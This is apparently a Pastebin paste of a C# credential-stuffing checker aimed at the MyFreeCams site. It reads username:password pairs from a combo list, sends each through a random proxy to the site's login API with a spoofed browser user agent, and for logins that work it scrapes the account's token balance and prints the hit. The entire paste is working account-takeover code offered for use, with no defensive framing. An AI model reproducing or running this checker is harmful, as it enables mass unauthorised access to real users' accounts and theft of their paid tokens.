Advertisement
Guest User

Untitled

a guest
Nov 3rd, 2018
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.35 KB | None | 0 0
  1.  public static void startcheck()
  2.         {
  3.             Console.Clear();
  4.  
  5.             Tuple<string, string> result;
  6.             var loadedfile = new Queue<string>(File.ReadAllLines("proxies.txt"));
  7.             var loadedcombo = new Queue<string>(File.ReadAllLines("combo.txt"));
  8.  
  9.             string usep = loadedfile.ElementAtOrDefault(new Random().Next(1, checked(loadedfile.Count - 1)));
  10.             string text10 = loadedcombo.Dequeue();
  11.             string user = text10.Split(new char[]
  12.             {
  13.                                 ':'
  14.             })[0];
  15.             string pass = text10.Split(new char[]
  16.             {
  17.                                 ':'
  18.             })[1];
  19.  
  20.             try
  21.             {
  22.                
  23.  
  24.                 HttpRequest httpRequest = new HttpRequest();
  25.                 CookieDictionary cookies = new CookieDictionary(false);
  26.  
  27.                 httpRequest.Proxy = new HttpProxyClient(usep);
  28.                 httpRequest.Cookies = cookies;
  29.                 httpRequest.IgnoreProtocolErrors = true;
  30.                 httpRequest.KeepAlive = true;
  31.                 httpRequest.ConnectTimeout = 5000;
  32.                 httpRequest.Referer = "https://www.myfreecams.com/";
  33.                 httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36";
  34.                 httpRequest.AddHeader("Accept", "text / html, application / xhtml + xml, application / xml; q = 0.9,image / webp,image / apng,*/*;q=0.8");
  35.                 httpRequest.AddParam("username", user).AddParam("password", pass).AddParam("ss", "1366x768").AddParam("tz", "5.5");
  36.                 string text = "";
  37.                 try
  38.                 {
  39.                     text = httpRequest.Post("https://api.myfreecams.com/login").ToString();
  40.                 }
  41.                 catch
  42.                 {
  43.                     Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), "BAN");
  44.                     System.Console.WriteLine("[*] : " + user + ":" + pass);
  45.                 }
  46.                 if (text.Contains("\"err\":0"))
  47.                 {
  48.                     string text2 = httpRequest.Get("https://www.myfreecams.com/php/account.php?request=status#token_transfer", null).ToString();
  49.                     if (!text2.Contains("token") && !text2.Contains("My Account  "))
  50.                     {
  51.                         result = Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), "Failed");
  52.                         System.Console.WriteLine("[*] : " + user + ":" + pass);
  53.                     }
  54.                     else
  55.                     {
  56.                         string value = Regex.Match(text2, "You currently have <b> ([^\"]*) </b> tokens").Groups[1].Value;
  57.                         System.Console.WriteLine("[!] : " + user + ":" + pass + value);
  58.                         result = Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), string.Format("Tokens: {0}", value));
  59.                     }
  60.                 }
  61.                 else
  62.                 {
  63.                         result = Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), "Failed");
  64.                 }
  65.             }
  66.             catch
  67.             {
  68.                 result = Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), "Failed");
  69.             }
  70.  
  71.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement